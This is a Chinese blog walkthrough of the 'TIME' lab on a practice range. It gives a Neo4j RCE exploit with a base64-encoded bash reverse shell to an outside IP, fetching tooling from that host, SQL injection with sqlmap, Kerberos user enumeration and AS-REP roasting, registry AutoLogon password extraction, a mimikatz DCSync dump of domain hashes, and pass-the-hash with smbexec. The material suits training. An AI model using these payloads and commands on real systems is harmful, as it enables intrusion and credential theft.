打靶 - 春秋云境 - TIME

信息收集

image

1
nmap -sV 39.99.153.191 -sC -p 22,7687,25,110

image

Neo4j入口

识别出来是Neo4j的RCE直接拿exp打即可

1
java -jar rhino_gadget.jar rmi://39.99.154.21:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTIuMTM2LjQ2LjI4LzQ5NDkgMD4mMQ==}|{base64,-d}|{bash,-i}"

得到第一个flag

image

flag{81ad6506-5a15-432b-9535-02456e6fd528}

建立隧道代理上传fscan得到结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
curl http://152.136.46.28:8000/frpc -o frpc
curl http://152.136.46.28:8000/frpc.ini -o frpc.ini

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12 is alive
(icmp) Target 172.22.6.38 is alive
(icmp) Target 172.22.6.25 is alive
(icmp) Target 172.22.6.36 is alive
[*] Icmp alive hosts len is: 4
172.22.6.12:88 open
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.36:22 open
172.22.6.12:139 open
172.22.6.36:7687 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo:
[*]172.22.6.12
[->]DC-PROGAME
[->]172.22.6.12
[*] NetInfo:
[*]172.22.6.25
[->]WIN2019
[->]172.22.6.25
[*] WebTitle: http://172.22.6.38 code:200 len:1531 title:后台登录
[*] NetBios: 172.22.6.12 [+]DC DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.6.25 XIAORANG\WIN2019
[*] 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: https://172.22.6.36:7687 code:400 len:50 title:None
已完成 11/11
[*] 扫描结束,耗时: 20.9139746s

SQL

存在后台

http://172.22.6.38/index.php

只有登录框,一遍丢爆破一边把参数丢sqlmap里头跑一下发现确实存在sql

1
python .\sqlmap.py -r .\1.txt -v 3 --proxy="socks5://152.136.46.28:7002" -D oa_db -T oa_f1Agggg --dump

image

查表查出flag2

image

flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}

那么在这里先捋一下思路 通过访问了36的页面发现就是本地的ip,所以可以知道应该剩下2台机子

分别是

(icmp) Target 172.22.6.12 is alive
(icmp) Target 172.22.6.25 is alive

但是只是知道这两台主机是存活且在域内的,没有其他的信息了

那么接下来就是还是从38身上找答案,当时数据库还有些信息都拖出来发现了一个很奇怪的点

image

image

好像都是以一个域名来命名?那么有没有可能是这些用户名和手机号为密码?

然后这个管理员的账号密码在后台测过了单纯就是一个与数据库的交互仅此而已,所以这个管理员账号应该就是某台主机上的某个密码,所以整理一下密码本来进行密码喷射

整理好了之后跑了ssh smb等都不行,想了很久也没找到突破口,后来看了一下wp说是

突破点flag3&flag4

在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举

https://github.com/ropnop/kerbrute

也就是通过用户名进行域用户进行爆破,从而获取得到域用户

image

可以发现爆破出了19个用户,然后将这19个用户生成字典来对下面的进行操作

AS-REPRoasting

对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令

通过这19个用户来进行使用脚本来查看是否存在设置了 不要求Kerberos预身份认证 ,如果存在 ,则可以直接获取域内用户的hash凭据

通过impacket中的GetNPUsers.py脚本来验证

1
python GetNPUsers.py -dc-ip 172.22.6.12 xiaorang.lab/ -usersfile .\users.txt

获得两个hash 进行hashcat碰撞解密明文

image

1
$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:b48bec8d2debf89afb6f939bf4374252$a42d4d2d0f2c8a066ea89caeb5e0ac6808d0a68b63b6eaaba699bc0a2a6bfbd902f42b42518a87607a7a63005a1cdcc9b5789155d75e29f1022e0ce0311b5880350815d633ccad2cd50e5073df3710db7ba4170e31979b35b435ab29b23e1c8c6f959ec615ea9c92186811f93028e879cc13b646900fd7a50e939679fc8e9a98eba9b8c96279201a981aa07c83079a7f8171f74cf9b808cddca88694615847f6fb7692bacba3672a0e5a8fe390de3a53ae7489b29ee62b284470ce2f58cbea391bdbcaee2d4996225cd284c2822d8c244fe98b15ed0c38ede434286781f76789965c04861f7edd332a8b2eab

hashcat爆破

1
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:b48bec8d2debf89afb6f939bf4374252$a42d4d2d0f2c8a066ea89caeb5e0ac6808d0a68b63b6eaaba699bc0a2a6bfbd902f42b42518a87607a7a63005a1cdcc9b5789155d75e29f1022e0ce0311b5880350815d633ccad2cd50e5073df3710db7ba4170e31979b35b435ab29b23e1c8c6f959ec615ea9c92186811f93028e879cc13b646900fd7a50e939679fc8e9a98eba9b8c96279201a981aa07c83079a7f8171f74cf9b808cddca88694615847f6fb7692bacba3672a0e5a8fe390de3a53ae7489b29ee62b284470ce2f58cbea391bdbcaee2d4996225cd284c2822d8c244fe98b15ed0c38ede434286781f76789965c04861f7edd332a8b2eab' rockyou.txt

image

得到明文

zhangxin@xiaorang.lab:strawberry

RDP直接进入到远程中

image

这里应该是要继续抓密码往下横向的了

但其实可以看到有一个特殊的用户叫yuxuan,是根本没有出现过的,所以很有可能这个就是flag3

上WinPEASany可以抓到yuxuan的密码(当然了这里是抓自动登录的密码 具体为啥提示 不知道 看到域内windows就直接尝试而已)

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
C:\Users\zhangxin\Desktop>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
ShellAppRuntime REG_SZ ShellAppRuntime.exe
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x91dba849
ShutdownFlags REG_DWORD 0x80000027
AutoLogonSID REG_SZ S-1-5-21-3623938633-4064111800-2925858365-1180
LastUsedUsername REG_SZ yuxuan
AutoAdminLogon REG_SZ 1
DefaultUserName REG_SZ yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey

下图是用WinPEASany

这里先介绍一下这个WinPEASany到底是干啥用的呢

winPEAS是一个非常强大的工具,它不仅积极寻找特权升级错误配置,而且还在结果中为用户突出显示它们

这里直接给出链接 因为文章写的很详细了

https://cloud.tencent.com/developer/article/2149150

发现有一组 AutoLogon 用户凭据

image

1
2
yuxuan@xiaorang.lab
Yuxuan7QbrgZ3L

然后直接登录到这个用户上传mimikaz抓密码就可以抓到域管的密码了

!!! 这里非常非常重要的一个点! mimikaz一定一定要是2.2版本的 否则都抓不到,太他妈抽象了真的 搞了一天了

抓到hash如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
mimikatz # lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC-PROGAME.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
1103 shuzhen 07c1f387d7c2cf37e0ca7827393d2327 512
1104 gaiyong 52c909941c823dbe0f635b3711234d2e 512
1106 xiqidi a55d27cfa25f3df92ad558c304292f2e 512
1107 wengbang 6b1d97a5a68c6c6c9233d11274d13a2e 512
1108 xuanjiang a72a28c1a29ddf6509b8eabc61117c6c 512
1109 yuanchang e1cea038f5c9ffd9dc323daf35f6843b 512
1110 lvhui f58b31ef5da3fc831b4060552285ca54 512
1111 wenbo 9abb7115997ea03785e92542f684bdde 512
1112 zhenjun 94c84ba39c3ece24b419ab39fdd3de1a 512
1113 jinqing 4bf6ad7a2e9580bc8f19323f96749b3a 512
1115 yangju 1fa8c6b4307149415f5a1baffebe61cf 512
1117 weicheng 796a774eace67c159a65d6b86fea1d01 512
1118 weixian 8bd7dc83d84b3128bfbaf165bf292990 512
1119 haobei 045cc095cc91ba703c46aa9f9ce93df1 512
1120 jizhen 1840c5130e290816b55b4e5b60df10da 512
1121 jingze 3c8acaecc72f63a4be945ec6f4d6eeee 512
1122 rubao d8bd6484a344214d7e0cfee0fa76df74 512
1123 zhaoxiu 694c5c0ec86269daefff4dd611305fab 512
1124 tangshun 90b8d8b2146db6456d92a4a133eae225 512
1125 liangliang c67cd4bae75b82738e155df9dedab7c1 512
1126 qiyue b723d29e23f00c42d97dd97cc6b04bc8 512
1127 chouqian c6f0585b35de1862f324bc33c920328d 512
1128 jicheng 159ee55f1626f393de119946663a633c 512
1129 xiyi ee146df96b366efaeb5138832a75603b 512
1130 beijin a587b90ce9b675c9acf28826106d1d1d 512
1131 chenghui 08224236f9ddd68a51a794482b0e58b5 512
1132 chebin b50adfe07d0cef27ddabd4276b3c3168 512
1133 pengyuan a35d8f3c986ab37496896cbaa6cdfe3e 512
1134 yanglang 91c5550806405ee4d6f4521ba6e38f22 512
1135 jihuan cbe4d79f6264b71a48946c3fa94443f5 512
1136 duanmuxiao 494cc0e2e20d934647b2395d0a102fb0 512
1137 hongzhi f815bf5a1a17878b1438773dba555b8b 512
1138 gaijin b1040198d43631279a63b7fbc4c403af 512
1139 yifu 4836347be16e6af2cd746d3f934bb55a 512
1140 fusong adca7ec7f6ab1d2c60eb60f7dca81be7 512
1141 luwan c5b2b25ab76401f554f7e1e98d277a6a 512
1142 tangrong 2a38158c55abe6f6fe4b447fbc1a3e74 512
1143 zhufeng 71e03af8648921a3487a56e4bb8b5f53 512
1145 dongcheng f2fdf39c9ff94e24cf185a00bf0a186d 512
1146 lianhuangchen 23dc8b3e465c94577aa8a11a83c001af 512
1147 lili b290a36500f7e39beee8a29851a9f8d5 512
1148 huabi 02fe5838de111f9920e5e3bb7e009f2f 512
1149 rangsibo 103d0f70dc056939e431f9d2f604683c 512
1150 wohua cfcc49ec89dd76ba87019ca26e5f7a50 512
1151 haoguang 33efa30e6b3261d30a71ce397c779fda 512
1152 langying 52a8a125cd369ab16a385f3fcadc757d 512
1153 diaocai a14954d5307d74cd75089514ccca097a 512
1154 lianggui 4ae2996c7c15449689280dfaec6f2c37 512
1155 manxue 0255c42d9f960475f5ad03e0fee88589 512
1156 baqin 327f2a711e582db21d9dd6d08f7bdf91 512
1157 chengqiu 0d0c1421edf07323c1eb4f5665b5cb6d 512
1158 louyou a97ba112b411a3bfe140c941528a4648 512
1159 maqun 485c35105375e0754a852cee996ed33b 512
1160 wenbiao 36b6c466ea34b2c70500e0bfb98e68bc 512
1161 weishengshan f60a4233d03a2b03a7f0ae619c732fae 512
1163 chuyuan 0cfdca5c210c918b11e96661de82948a 512
1164 wenliang a4d2bacaf220292d5fdf9e89b3513a5c 512
1165 yulvxue cf970dea0689db62a43b272e2c99dccd 512
1166 luyue 274d823e941fc51f84ea323e22d5a8c4 512
1167 ganjian 7d3c39d94a272c6e1e2ffca927925ecc 512
1168 pangzhen 51d37e14983a43a6a45add0ae8939609 512
1169 guohong d3ce91810c1f004c782fe77c90f9deb6 512
1170 lezhong dad3990f640ccec92cf99f3b7be092c7 512
1171 sheweiyue d17aecec7aa3a6f4a1e8d8b7c2163b35 512
1172 dujian 8f7846c78f03bf55685a697fe20b0857 512
1173 lidongjin 34638b8589d235dea49e2153ae89f2a1 512
1174 hongqun 6c791ef38d72505baeb4a391de05b6e1 512
1175 yexing 34842d36248c2492a5c9a1ae5d850d54 512
1176 maoda 6e65c0796f05c0118fbaa8d9f1309026 512
1177 qiaomei 6a889f350a0ebc15cf9306687da3fd34 512
502 krbtgt a4206b127773884e2c7ea86cdd282d9c 514
1178 wenshao b31c6aa5660d6e87ee046b1bb5d0ff79 4260352
1179 zhangxin d6c5976e07cdb410be19b84126367e3d 4260352
500 Administrator 04d93ffd6f5f6e4490e0de23f240a5e9 512
1000 DC-PROGAME$ b097204ac312b9f7dcb41d7c3338eb74 532480
1180 yuxuan 376ece347142d1628632d440530e8eed 66048
1181 WIN2019$ 727b2b98877e0440226978595c8d0743 4096

得到管理员的hash

1
500     Administrator   04d93ffd6f5f6e4490e0de23f240a5e9        512

然后通过管理员的hash进行PTH横向,那么分别横向到域控以及本地管理员

1
python .\smbexec.py XIAORANG/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

成功弹会一个system会话 然后再administrator的目录下查找flag

image

接着就是打域控了

当然我打域控是直接加了账号密码然后直接rdp登录拿的flag4

image

添加用户登录rdp拿flag

image

flag04: flag{267d3da9-9e00-4e4d-822b-4b6588364f82}

最终四个flag都拿到了

总结

  • 首先入口还是一个CVE直接getshell
  • curl走代理谁都会比较简单,上fscan找到web端进行sql的尝试
  • 在sql注入当中看到很明显的域的名字所以用了一个域外碰撞域内用户的方式去探测域内用户并且用AS-REP的方式抓到域内用户的hash
  • 得到一个域内用户后通过一个叫WinPEASany的东西(也学到了上来就抓自动登录的用户说不定有奇效)得到另一个域内用户,但恰好这个域内用户是管理组的
  • 通过新的域管组的用户抓到域管的hash进行PTH就可以横完了

image


打靶 - 春秋云境 - TIME
https://zjackky.github.io/post/spring-and-autumn-clouds-time-rwa9t.html
作者
Zjacky
发布于
2023年12月13日
许可协议